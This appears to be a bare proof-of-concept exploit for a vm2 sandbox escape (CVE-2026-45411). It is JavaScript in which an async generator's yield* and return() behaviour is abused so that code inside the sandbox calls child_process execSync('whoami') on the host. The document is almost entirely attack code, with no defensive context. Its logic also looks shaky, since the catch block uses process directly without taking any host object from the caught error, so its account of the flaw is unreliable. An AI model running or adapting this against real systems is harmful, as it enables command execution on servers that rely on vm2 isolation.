CVE-2026-45411 vm2沙箱逃逸漏洞

const {VM} = require('vm2'); const vm = new VM(); // Malicious code exploiting the yield* and return() behavior const untrustedCode = ` async function exploit() { // Create an iterator that throws an exception when next is called const maliciousIterator = { [Symbol.iterator]() { return this; }, next() { // This exception is intended to be caught by the host runtime throw new Error('Escaped!'); } }; // Async generator using yield* async function* gen() { yield* maliciousIterator; } const g = gen(); // Triggering the vulnerability by calling return() // This causes the runtime to await and catch the exception incorrectly try { await g.return(); } catch (e) { // If sandbox escape is successful, this block can access host resources // Example: Accessing process or executing commands process.mainModule.require('child_process').execSync('whoami'); } } exploit(); `; vm.run(untrustedCode);